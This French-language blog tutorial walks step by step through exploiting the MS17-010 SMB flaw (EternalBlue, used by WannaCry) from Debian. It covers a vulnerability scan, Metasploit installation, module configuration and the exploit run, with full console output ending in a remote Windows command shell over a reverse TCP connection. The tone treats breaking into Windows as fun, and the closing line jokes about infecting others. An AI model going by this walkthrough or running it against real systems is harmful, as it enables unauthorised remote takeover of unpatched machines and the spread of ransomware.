Table des matières
WannaCry : Mise en pratique d'un exploit à partir de Debian
Je vais juste montrer comment mettre en pratique un “exploit” reposant sur la faille Windows/SMB , et qui permet au "ransomware" WannaCry de se propager comme un "ver" sur les réseaux informatiques.
A priori, ça ne devrait intéresser que moi, car j'arrive bien après la bataille, et comme tout le monde le sait, la faille est corrigée, les patchs sont appliqués, les mises à jour sont faites: tout va bien brave gens, vous pouvez dormir, vos données sont en sécurité .
IRL: On va trouver des Windows vulnérables pendant encore longtemps
Pour la mise en pratique, je vais utiliser Debian et des petits outils qu'on trouve librement sur le Net.
Ma source principale: https://homputersecurity.com/2017/05/15/lexploit-eternalblue-porte-sur-metasploit/
Je suis un noob en matière d'“exploit” , donc, j'aurai bien du mal a expliquer en détails comment tout ça fonctionne… |
Suivez-moi: c'est toujours un plaisir de trouer Windows.
~~READMORE~~
Détecter les Windows vulnérables
Il suffit de télécharger ce script:
Et puis on peut tester IP par IP comme ceci:
$ python smb_exploit.py 192.168.1.23 [+] [192.168.1.23] is likely VULNERABLE to MS17-010! (Windows 7 Professional 7601 Service Pack 1)
A priori, ce Windows est vulnérable.
Installer metasploit
Je vais utiliser "metasploit" qui est un outil pour les "pentesteurs": je n'en suis pas un (d'ordinaire) , donc je vais installer très simplement ce “framework”.
Les packages
Il existe des “.deb” pour Debian.
Dans “/etc/apt/sources.list.d/metasploit.list
” (ou ailleurs) , on fait en sorte d'avoir:
deb http://apt.metasploit.com/ jessie main
Il faut aussi installer les clés associés (c'est mieux).
$ wget -O- http://apt.metasploit.com/metasploit-framework.gpg.key | sudo apt-key add -
metasploit-framework
Et on installe:
$ sudo apt-get update $ sudo apt-get install metasploit-framework
Il faut aussi installer postgresql
: je ne sais pas pourquoi.
$ sudo apt-get install postgresql
Exploitons
Pré-requis
Assurez-vous que le port 4444 est ouvert, car l'exploit va forcer le Windows vulnérable a venir communiquer avec vous, via le port 4444 (par défaut).
msfconsole
Pour démarrer “metasploit
”, il suffit de taper la commande:
$ msfconsole
Au premier démarrage, ça va vouloir installer une base dans “
postgresql
” …
Suivez les recommandations par défaut: Je ne sais toujours pas pourquoi…
Après quelques secondes (et une “démo” aléatoire en mode texte), on a un prompt:
msf >
A partir de cette console, taper la commande suivante:
use exploit/windows/smb/ms17_010_eternalblue
Si “
ms17_010_eternalblue
” n'existe pas, vous devrez le trouver sur le Net.Par exemple là: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/ms17_010_eternalblue.rb
Le prompt change en:
msf exploit(ms17_010_eternalblue) >
On peut voir quelques options associés avec l'exploit:
msf exploit(ms17_010_eternalblue) > show options Module options (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description ---- --------------- -------- ----------- GroomAllocations 12 yes Initial number of times to groom the kernel pool. GroomDelta 5 yes The amount to increase the groom count by per try. MaxExploitAttempts 3 yes The number of times to retry the exploit. ProcessName spoolsv.exe yes Process to inject payload into. RHOST yes The target address RPORT 445 yes The target port (TCP) Exploit target: Id Name -- ---- 0 Windows 7 and Server 2008 (x64) All Service Packs
Il y a l'option “RHOST
” qui est vide et qui permet de définir l'adresse de la “cible”.
Donc, on va définir l'IP du Windows vulnérable en tapant ceci:
set rhost <RHOST>
(Remplacer “<RHOST>
” par l'IP a tester)
Dans mon cas ça donne:
msf exploit(ms17_010_eternalblue) > set rhost 192.168.1.23 rhost => 192.168.1.23
EternalBlue: exploit
On est prêt a démarrer l'exploit, et donc il suffit de taper:
exploit
Et bang:
msf exploit(ms17_010_eternalblue) > exploit [*] Started reverse TCP handler on 192.168.1.56:4444 [*] 192.168.1.23:445 - Connecting to target for exploitation. [+] 192.168.1.23:445 - Connection established for exploitation. [*] 192.168.1.23:445 - Trying exploit with 12 Groom Allocations. [*] 192.168.1.23:445 - Sending all but last fragment of exploit packet [*] 192.168.1.23:445 - Starting non-paged pool grooming [+] 192.168.1.23:445 - Sending SMBv2 buffers [+] 192.168.1.23:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 192.168.1.23:445 - Sending final SMBv2 buffers. [*] 192.168.1.23:445 - Sending last fragment of exploit packet! [*] 192.168.1.23:445 - Receiving response from exploit packet [+] 192.168.1.23:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 192.168.1.23:445 - Sending egg to corrupted connection. [*] 192.168.1.23:445 - Triggering free of corrupted buffer. [*] Command shell session 1 opened (192.168.1.56:4444 -> 192.168.1.23:49321) at 2017-05-18 15:16:25 +0200 [+] 192.168.1.23:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.1.23:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.1.23:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Microsoft Windows [version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. Tous droits r�serv�s. C:\Windows\system32>
A partir de maintenant, on peut commencer a explorer ce Windows via “cmd.exe
”.
Voila.
Have Fun
Si vous voulez approfondir votre connaissance de ce “ver”, et pourquoi pas, soyons fou, contaminer votre prochain, c'est par là:
Autres sources d'informations: